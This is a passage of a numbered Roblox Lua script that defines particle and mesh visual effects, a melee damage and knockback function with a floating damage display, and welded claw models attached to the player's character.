  2121. Part.CFrame=Part.CFrame
  2122. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2123. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2124. prt2.Anchored=true
  2125. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2126. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2127. game:GetService("Debris"):AddItem(prt2,2)
  2128. coroutine.resume(coroutine.create(function(Part,Mesh)
  2129. for i=0,1,0.1 do
  2130. wait()
  2131. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2132. end
  2133. Part.Parent=nil
  2134. end),prt2,msh2)
  2135. end
  2136. for i=0,1,delay*2 do
  2137. wait()
  2138. Part.CFrame=Part.CFrame
  2139. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2140. end
  2141. Part.Parent=nil
  2142. end),prt,msh)
  2143. end
  2144.  
  2145. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2146. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2147. prt.Anchored=true
  2148. prt.CFrame=cframe
  2149. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2150. game:GetService("Debris"):AddItem(prt,2)
  2151. coroutine.resume(coroutine.create(function(Part,Mesh)
  2152. for i=0,1,delay do
  2153. wait()
  2154. Part.CFrame=Part.CFrame
  2155. Part.Transparency=i
  2156. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2157. end
  2158. Part.Parent=nil
  2159. end),prt,msh)
  2160. end
  2161.  
  2162. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2163. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2164. prt.Anchored=true
  2165. prt.CFrame=cframe*euler(x2,y2,z2)
  2166. --"http://www.roblox.com/asset/?id=168892465"
  2167. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2168. game:GetService("Debris"):AddItem(prt,2)
  2169. coroutine.resume(coroutine.create(function(Part,Mesh)
  2170. for i=0,1,0.03 do
  2171. wait()
  2172. Part.CFrame=Part.CFrame
  2173. Part.Transparency=i
  2174. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2175. end
  2176. Part.Parent=nil
  2177. end),prt,msh)
  2178. end
  2179.  
  2180. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2181. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2182. prt.Anchored=true
  2183. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2184. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2185. game:GetService("Debris"):AddItem(prt,2)
  2186. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2187. CF=Part.CFrame
  2188. Numbb=0
  2189. randnumb=math.random()/10
  2190. rand1=math.random()/10
  2191. for i=0,1,rand1 do
  2192. wait()
  2193. CF=CF*cf(0,math.random()/2,0)
  2194. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2195. Part.CFrame=CF*euler(Numbb,0,0)
  2196. Part.Transparency=i
  2197. Numbb=Numbb+randnumb
  2198. end
  2199. Part.Parent=nil
  2200. end),prt,CF,Numbb,randnumb)
  2201. end
  2202.  
  2203. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2204. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2205. prt.Anchored=true
  2206. prt.CFrame=cframe
  2207. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2208. game:GetService("Debris"):AddItem(prt,5)
  2209. coroutine.resume(coroutine.create(function(Part,Mesh)
  2210. for i=0,1,delay do
  2211. wait()
  2212. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2213. Part.Transparency=i
  2214. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2215. end
  2216. Part.Parent=nil
  2217. end),prt,msh)
  2218. end
  2219.  
  2220. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2221. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2222. prt.Anchored=true
  2223. prt.CFrame=cframe
  2224. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2225. game:GetService("Debris"):AddItem(prt,2)
  2226. coroutine.resume(coroutine.create(function(Part,Mesh)
  2227. for i=0,1,delay do
  2228. wait()
  2229. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2230. Part.Transparency=i
  2231. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2232. end
  2233. Part.Parent=nil
  2234. end),prt,msh)
  2235. end
  2236.  
  2237. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2238. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2239. prt.Anchored=true
  2240. prt.CFrame=cframe*cf(x,y,z)
  2241. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2242. game:GetService("Debris"):AddItem(prt,5)
  2243. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2244. local num=math.random()
  2245. local num2=math.random(-3,2)+math.random()
  2246. local numm=0
  2247. for i=0,1,delay*2 do
  2248. swait()
  2249. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2250. Part.Transparency=i
  2251. numm=numm+0.01
  2252. end
  2253. Part.Parent=nil
  2254. Mesh.Parent=nil
  2255. end),prt,msh,x,y,z)
  2256. end
  2257.  
  2258. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2259. if hit.Parent==nil then
  2260. return
  2261. end
  2262. h=hit.Parent:FindFirstChild("Humanoid")
  2263. for _,v in pairs(hit.Parent:children()) do
  2264. if v:IsA("Humanoid") then
  2265. h=v
  2266. end
  2267. end
  2268. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2269. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2270. end
  2271. if hit.Parent.className=="Hat" then
  2272. hit=hit.Parent.Parent:findFirstChild("Head")
  2273. end
  2274. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2275. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2276. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2277. return
  2278. end]]
  2279. -- hs(hit,1.2)
  2280. c=Instance.new("ObjectValue")
  2281. c.Name="creator"
  2282. c.Value=game:service("Players").LocalPlayer
  2283. c.Parent=h
  2284. game:GetService("Debris"):AddItem(c,.5)
  2285. Damage=math.random(minim,maxim)
  2286. -- h:TakeDamage(Damage)
  2287. blocked=false
  2288. block=hit.Parent:findFirstChild("Block")
  2289. if block~=nil then
  2290. print(block.className)
  2291. if block.className=="NumberValue" then
  2292. if block.Value>0 then
  2293. blocked=true
  2294. if decreaseblock==nil then
  2295. block.Value=block.Value-1
  2296. end
  2297. end
  2298. end
  2299. if block.className=="IntValue" then
  2300. if block.Value>0 then
  2301. blocked=true
  2302. if decreaseblock~=nil then
  2303. block.Value=block.Value-1
  2304. end
  2305. end
  2306. end
  2307. end
  2308. if blocked==false then
  2309. -- h:TakeDamage(Damage)
  2310. h.Health=h.Health-Damage
  2311. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2312. else
  2313. h.Health=h.Health-(Damage/2)
  2314. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2315. end
  2316. if Type=="Knockdown" then
  2317. hum=hit.Parent.Humanoid
  2318. hum.PlatformStand=true
  2319. coroutine.resume(coroutine.create(function(HHumanoid)
  2320. swait(1)
  2321. HHumanoid.PlatformStand=false
  2322. end),hum)
  2323. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2324. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2325. local bodvol=Instance.new("BodyVelocity")
  2326. bodvol.velocity=angle*knockback
  2327. bodvol.P=5000
  2328. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2329. bodvol.Parent=hit
  2330. rl=Instance.new("BodyAngularVelocity")
  2331. rl.P=3000
  2332. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2333. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2334. rl.Parent=hit
  2335. game:GetService("Debris"):AddItem(bodvol,.5)
  2336. game:GetService("Debris"):AddItem(rl,.5)
  2337. elseif Type=="Normal" then
  2338. vp=Instance.new("BodyVelocity")
  2339. vp.P=500
  2340. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2341. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2342. if KnockbackType==1 then
  2343. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2344. elseif KnockbackType==2 then
  2345. vp.velocity=Property.CFrame.lookVector*knockback
  2346. end
  2347. if knockback>0 then
  2348. vp.Parent=hit.Parent.Torso
  2349. end
  2350. game:GetService("Debris"):AddItem(vp,.5)
  2351. elseif Type=="Up" then
  2352. local bodyVelocity=Instance.new("BodyVelocity")
  2353. bodyVelocity.velocity=vt(0,10,0)
  2354. bodyVelocity.P=1000
  2355. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2356. bodyVelocity.Parent=hit
  2357. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2358. rl=Instance.new("BodyAngularVelocity")
  2359. rl.P=3000
  2360. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2361. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2362. rl.Parent=hit
  2363. game:GetService("Debris"):AddItem(rl,.5)
  2364. elseif Type=="Snare" then
  2365. bp=Instance.new("BodyPosition")
  2366. bp.P=2000
  2367. bp.D=100
  2368. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2369. bp.position=hit.Parent.Torso.Position
  2370. bp.Parent=hit.Parent.Torso
  2371. game:GetService("Debris"):AddItem(bp,1)
  2372. elseif Type=="Target" then
  2373. if Targetting==false then
  2374. ZTarget=hit.Parent.Torso
  2375. coroutine.resume(coroutine.create(function(Part)
  2376. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2377. swait(5)
  2378. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2379. end),ZTarget)
  2380. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2381. targetgui=Instance.new("BillboardGui")
  2382. targetgui.Parent=ZTarget
  2383. targetgui.Size=UDim2.new(10,100,10,100)
  2384. targ=Instance.new("ImageLabel")
  2385. targ.Parent=targetgui
  2386. targ.BackgroundTransparency=1
  2387. targ.Image="rbxassetid://4834067"
  2388. targ.Size=UDim2.new(1,0,1,0)
  2389. cam.CameraType="Scriptable"
  2390. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2391. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2392. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2393. Targetting=true
  2394. RocketTarget=ZTarget
  2395. for i=1,Property do
  2396. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2397. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2398. swait()
  2399. end
  2400. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2401. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2402. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2403. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2404. end
  2405. Targetting=false
  2406. RocketTarget=nil
  2407. targetgui.Parent=nil
  2408. cam.CameraType="Custom"
  2409. end
  2410. end
  2411. debounce=Instance.new("BoolValue")
  2412. debounce.Name="DebounceHit"
  2413. debounce.Parent=hit.Parent
  2414. debounce.Value=true
  2415. game:GetService("Debris"):AddItem(debounce,Delay)
  2416. c=Instance.new("ObjectValue")
  2417. c.Name="creator"
  2418. c.Value=Player
  2419. c.Parent=h
  2420. game:GetService("Debris"):AddItem(c,.5)
  2421. CRIT=false
  2422. hitDeb=true
  2423. AttackPos=6
  2424. end
  2425. end
  2426.  
  2427. showDamage=function(Char,Dealt,du,Color)
  2428. m=Instance.new("Model")
  2429. m.Name=tostring(Dealt)
  2430. h=Instance.new("Humanoid")
  2431. h.Health=0
  2432. h.MaxHealth=0
  2433. h.Parent=m
  2434. c=Instance.new("Part")
  2435. c.Transparency=0
  2436. c.BrickColor=TorsoColor
  2437. c.Name="Head"
  2438. c.TopSurface=0
  2439. c.BottomSurface=0
  2440. c.formFactor="Plate"
  2441. c.Size=Vector3.new(1,.4,1)
  2442. ms=Instance.new("CylinderMesh")
  2443. ms.Scale=Vector3.new(.8,.8,.8)
  2444. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2445. if CRIT==true then
  2446. ms.Scale=Vector3.new(1,1.25,1)
  2447. end
  2448. ms.Parent=c
  2449. c.Reflectance=0
  2450. Instance.new("BodyGyro").Parent=c
  2451. c.Parent=m
  2452. if Char:findFirstChild("Head")~=nil then
  2453. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2454. elseif Char.Parent:findFirstChild("Head")~=nil then
  2455. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2456. end
  2457. f=Instance.new("BodyPosition")
  2458. f.P=2000
  2459. f.D=100
  2460. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2461. f.position=c.Position+Vector3.new(0,3,0)
  2462. f.Parent=c
  2463. game:GetService("Debris"):AddItem(m,.5+du)
  2464. c.CanCollide=false
  2465. m.Parent=workspace
  2466. c.CanCollide=false
  2467. end
  2468.  
  2469. Player=game:GetService('Players').LocalPlayer
  2470. Character=Player.Character
  2471. Mouse=Player:GetMouse()
  2472. m=Instance.new('Model',Character)
  2473.  
  2474.  
  2475. local function weldBetween(a, b)
  2476. local weldd = Instance.new("ManualWeld")
  2477. weldd.Part0 = a
  2478. weldd.Part1 = b
  2479. weldd.C0 = CFrame.new()
  2480. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2481. weldd.Parent = a
  2482. return weldd
  2483. end
  2484.  
  2485. it=Instance.new
  2486.  
  2487. function nooutline(part)
  2488. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2489. end
  2490.  
  2491. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2492. local fp=it("Part")
  2493. fp.formFactor=formfactor
  2494. fp.Parent=parent
  2495. fp.Reflectance=reflectance
  2496. fp.Transparency=transparency
  2497. fp.CanCollide=false
  2498. fp.Locked=true
  2499. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2500. fp.Name=name
  2501. fp.Size=size
  2502. fp.Position=Character.Torso.Position
  2503. nooutline(fp)
  2504. fp.Material=material
  2505. fp:BreakJoints()
  2506. return fp
  2507. end
  2508.  
  2509. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2510. local mesh=it(Mesh)
  2511. mesh.Parent=part
  2512. if Mesh=="SpecialMesh" then
  2513. mesh.MeshType=meshtype
  2514. mesh.MeshId=meshid
  2515. end
  2516. mesh.Offset=offset
  2517. mesh.Scale=scale
  2518. return mesh
  2519. end
  2520.  
  2521. function weld(parent,part0,part1,c0,c1)
  2522. local weld=it("Weld")
  2523. weld.Parent=parent
  2524. weld.Part0=part0
  2525. weld.Part1=part1
  2526. weld.C0=c0
  2527. weld.C1=c1
  2528. return weld
  2529. end
  2530.  
  2531. local modelzorz=Instance.new("Model")
  2532. modelzorz.Parent=Character
  2533. modelzorz.Name="Claw1"
  2534.  
  2535. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2536. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2537. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2538. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2539. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2540. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2541. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2542. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2543. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2544. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2545. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2546. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2547. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2548. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2549. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2550. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2551. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2552. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2553. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2554. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2555. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2556. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2557. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2558. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2559. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2560. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2561. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2562. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2563. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2564. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2565. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2566. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2567. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2568. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2569. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2570. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2571. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2572. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2573. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2574. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2575. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2576.  
  2577. local modelzorz2=Instance.new("Model")
  2578. modelzorz2.Parent=Character
  2579. modelzorz2.Name="Claw2"
  2580.  
  2581. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2582. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2583. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2584. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2585. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2586. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2587. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2588. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2589. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2590. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2591. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2592. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2593. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2594. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2595. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2596. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
